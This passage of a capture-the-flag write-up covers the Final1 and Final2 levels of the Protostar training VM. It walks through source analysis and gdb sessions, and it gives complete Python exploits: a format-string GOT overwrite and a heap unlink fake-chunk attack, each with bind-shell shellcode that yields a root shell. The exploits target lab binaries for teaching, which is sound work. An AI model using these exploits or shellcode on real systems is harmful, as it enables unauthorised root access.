root@protostar:/# gdb -c /tmp/core.11.final1.2439
...
Program terminated with signal 11, Segmentation fault.
#0 0x0804a290 in ?? ()
(gdb) x/x 0x0804a194
0x804a194: 0x0804a28c
(gdb) p 0x0804a28c-0x0804a220
$1 = 108
Here's the final program with updates:
final1.py
#!/usr/bin/python
import socket
HOST = '127.0.0.1'
PORT = 2994
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
buf = b"" # shell code is 14*8 = 112 bytes
buf += b"\xbf\x20\xf4\xf9\xb9\xda\xc9\xd9"
buf += b"\x74\x24\xf4\x5a\x31\xc9\xb1\x14"
buf += b"\x83\xc2\x04\x31\x7a\x10\x03\x7a"
buf += b"\x10\xc2\x01\xc8\x62\xf5\x09\x78"
buf += b"\xd6\xaa\xa7\x7d\x51\xad\x88\xe4"
buf += b"\xac\xad\xb2\xb6\x7c\xc5\x46\x47"
buf += b"\xb1\x2c\x2d\x57\xe0\x1e\x38\xb6"
buf += b"\x68\xf8\x62\xf4\xed\x8d\xd2\x02"
buf += b"\x5d\x89\x64\x6c\x6c\x11\xc7\xc1"
buf += b"\x08\xdc\x48\xb2\x8c\xb4\x77\xed"
buf += b"\xe3\xc8\xc1\x74\x04\xa0\xfe\xa9"
buf += b"\x87\x58\x69\x99\x05\xf1\x07\x6c"
buf += b"\x2a\x51\x8b\xe7\x4c\xe1\x20\x35"
buf += b"\x0e\x90\x90\x90\x90\x90\x90\x90"
shellcode = buf
target = "\x94\xa1\x04\x08" # 0804a194
offset = 47
format = "%nnnnnx%" + str(offset) + "$hn"
bytes_to_write = 41504 # 0x0000a220
bytes_written = len(target)
bytes_written += len(format)
bytes_to_write = bytes_to_write - bytes_written - 39 - 108
format = format.replace("nnnnn", str(bytes_to_write))
s.send("username " + shellcode + "\n")
s.send("login " + target + format + "\n")
s.close()
We try again using these updates:
user@protostar:~$ python final1.py &
[1] 2462
user@protostar:~$ netstat -lt |grep 12345
getnameinfo failed
tcp 0 0 *:12345 *:* LISTEN
user@protostar:~$ nc 127.0.0.1 12345
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
Nice! This one was quite a challenge and had me scratching my head on more than one occassion. On to the final level...
Final 2
Final2: the last Protostar challenge! The instructions inform us that this is a remote heap level and the code is provided:
final2.c
#include "../common/common.c"
#include "../common/malloc.c"
#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993
#define REQSZ 128
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}
Analysis
Let's take a moment to understand what this code does:
In line with the previous exercises, the main() function starts a background process listening for incoming connections. In this case, port 2993is used. It also maps the standard input/output to the socket. There's a username variable defined, but this does not appear to be used.
This function declares a few variables: buf, destroylist, dll and i. dll is set to 0 and used to control the first loop, which will break once dll becomes 255. Inside the loop, the program first uses calloc to allocate a memory block of 128 items (#define REQSZ 128) of 1 byte each and assigns the resulting pointer to the buf variable. In this process, calloc sets the memory to zero.
Next, the program reads 128 bytes from the input into buf. If the number of bytes read is not 128, the program exits the loop. If 128 bytes are successfully read, the program next checks that the string placed into buf starts with "FSRD", or it will once again exit the loop. If these conditions match, the check_path() function is called with the address of buf + 4. dll is incremented and the loop continues, proceeding to try reading the next 128 bytes and so on.
Finally, the program runs a loop based on the value of dll which writes "Process OK\n" back to STDOUT and calls free() against destroylist, which curiously was never assigned any value(s). When comparing the source code with the binary file, it becomes evident that something is missing:
user@protostar:~$ gdb /opt/protostar/bin/final2 -batch -ex 'set disassembly-flavor intel' -ex 'disass get_requests'
Dump of assembler code for function get_requests:
...
0x0804bd6f <get_requests+40>: call 0x804b4ee <calloc> // buf = calloc(REQSZ, 1);
0x0804bd74 <get_requests+45>: mov DWORD PTR [ebp-0x14],eax
0x0804bd77 <get_requests+48>: mov eax,DWORD PTR [ebp-0x10]
0x0804bd7a <get_requests+51>: mov edx,DWORD PTR [ebp-0x14]
0x0804bd7d <get_requests+54>: mov DWORD PTR [ebp+eax*4-0x414],edx // destroylist[dll] = buf;
0x0804bd84 <get_requests+61>: add DWORD PTR [ebp-0x10],0x1 // dll++;
... This is important, because the free() call turns out to be key to the exploit.
Variables start, p and l are declared. rindex() is used to find the last occurrence of '/' in buf and stores a pointer to this character in p. If a '/' character is not found, p will be NULL and the if-block will not execute. Next, the length of string p is determined, which will be anything in buf after the last '/' and the first NUL character (\0).
Assuming p was not NULL, the program will proceed to find the first occurrence of the string "ROOT"' in the input. If it is found, the program will then proceed to search backwards in address space from start until it finds a '/' character. At this point, the program will call memmove() which has the following signature:
void * memmove(void *dst, const void *src, size_t len);
This means that whatever is stored in p gets moved into start. Since the search happens backwards, placing the last '/' after the "ROOT" text should allow for copying text outside the current buffer as the search will continue into the previous chunk. This is the attack vector - it enables writing arbitrary data to "previous" memory which can be used to insert fake chunks. When combined with free(), this allows exploiting the program. Refer to Heap3 for a recap.
Interestingly, the printf() statement that follows does not appear to be present in the binary:
user@protostar:~$ gdb /opt/protostar/bin/final2 -batch -ex 'set disassembly-flavor intel' -ex 'disass check_path' |grep -c -E 'print|puts'
0
In summary:
- The program accepts multiple requests
- Each request is allocated a chunk on the heap (through
calloc()) and must:- be exactly 128 bytes
- start with
"FSRD" - contain the string
"ROOT" - contain at least 1
'\'character
- Data can be written to previously allocated memory, which is later referenced in calls to
free()
Identifying a Target Address
The program uses the write() function in the same loop as free(), so this should be a good target to overwrite. Let's identify the target address write in the Global Offset Table:
user@protostar:~$ objdump -R /opt/protostar/bin/final2 |grep write
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite Next, an address to store the shellcode is needed. The most straightforward approach is simply to store the shellcode in the first request. The approximate address can be determined using gdb and attaching to a running process:
user@protostar:~$ nc 127.0.0.1 2993
FSRDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAROOT/
Process OK
root@protostar:/home/user# ps aux |grep final2
root 1339 0.0 0.0 1544 284 ? Ss 09:25 0:00 /opt/protostar/bin/final2
root 1558 0.0 0.0 1548 216 ? S 10:32 0:00 /opt/protostar/bin/final2
root 1561 0.0 0.0 3268 668 pts/1 S+ 10:33 0:00 grep final2
root@protostar:/home/user# gdb -q /opt/protostar/bin/final2 1558
Reading symbols from /opt/protostar/bin/final2...done.
Attaching to program: /opt/protostar/bin/final2, process 1558
...
(gdb) info proc map
process 1558
cmdline = '/opt/protostar/bin/final2'
cwd = '/'
exe = '/opt/protostar/bin/final2'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x804d000 0x5000 0 /opt/protostar/bin/final2
0x804d000 0x804e000 0x1000 0x4000 /opt/protostar/bin/final2
0x804e000 0x804f000 0x1000 0 [heap]
...
(gdb) br *0x0804be01
Breakpoint 1 at 0x804be01: file final2/final2.c, line 54
(gdb) c
Continuing.
Breakpoint 1, 0x0804be01 in get_requests (fd=4) at final2/final2.c:54
54 final2/final2.c: No such file or directory.
in final2/final2.c
Current language: auto
The current source language is "auto; currently c".
(gdb) x/2x buf
0x804e008: 0x44525346 0x41414141
(gdb) c
Continuing.
Program exited with code 01. The shellcode will end up being at around address 0x0804e012.
Exploit
With the above out of the way, the exploit can be constructed. This approach relies on injecting a fake chunk onto the heap, which allows writing to arbitrary locations in memory during unlinking. More details are provided in Heap3. This is the structure of the payload to use:
"FSRD" | "/" | 8 byte buffer | NOP buffer | shellcode | "ROOT" | "/"
An 8 byte buffer is needed, because the memory operations will write data to these locations and we don't want the shellcode to be messed up.
"FSRD" | "ROOT" | "/" | 0xffffff8 (-8) | 0xffffffc (-4) | &write - 12 | &shellcode | padding
Here, 0xfffffff8 and 0xfffffffc are used to create a fake chunk with invalid size fields, followed by the offset we want to write to (12 bytes will be added by malloc), our shellcode and padding.
"FSRD/ROOT"
Since we need the write() function to be called after having the GOT overwritten, a third packet is needed.
Again, python comes to the rescue when constructing the payloads:
final2.py
#!/usr/bin/python
import socket
HOST = '127.0.0.1'
PORT = 2993
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
buf = b""
buf += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a"
buf += b"\x02\x89\xe1\xb0\x66\xcd\x80\x5b"
buf += b"\x5e\x52\x68\x02\x00\x30\x39\x6a"
buf += b"\x10\x51\x50\x89\xe1\x6a\x66\x58"
buf += b"\xcd\x80\x89\x41\x04\xb3\x04\xb0"
buf += b"\x66\xcd\x80\x43\xb0\x66\xcd\x80"
buf += b"\x93\x59\x6a\x3f\x58\xcd\x80\x49"
buf += b"\x79\xf8\x68\x2f\x2f\x73\x68\x68"
buf += b"\x2f\x62\x69\x6e\x89\xe3\x50\x53"
buf += b"\x89\xe1\xb0\x0b\xcd\x80"
shellcode = buf
shellcode_addr = "\x12\xe0\x04\x08" # 0x0804e012
got_addr = "\x10\xd4\x04\x08" # 0x0804d41c - 12
prefix = "FSRD/"
suffix = "ROOT/"
buffer = "A" * 8
nops = "\x90" * (128 - len(shellcode) - len(buffer) - len(prefix) - len(suffix))
payload_1 = prefix + buffer + nops + shellcode + suffix
fake_chunk_hdr = "\xf8\xff\xff\xff"
fake_chunk_hdr += "\xfc\xff\xff\xff"
payload_2 = prefix[:-1] + suffix + fake_chunk_hdr + got_addr + shellcode_addr
padding = 128 - len(payload_2)
payload_2 += "B" * padding
payload_3 = "FSRD/ROOT"
padding = 128 - len(payload_3)
payload_3 += "C" * padding
s.send(payload_1 + payload_2 + payload_3 + "\n")
s.close()
... and give it a try:
user@protostar:~$ python final2.py
user@protostar:~$ netstat -lt |grep 12345
getnameinfo failed
tcp 0 0 *:12345 *:* LISTEN
user@protostar:~$ nc 127.0.0.1 12345
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
Nice! That concludes the Protostar exercises. As with Nebula I would like to thank the creator(s) of these exercises for all of their hard work.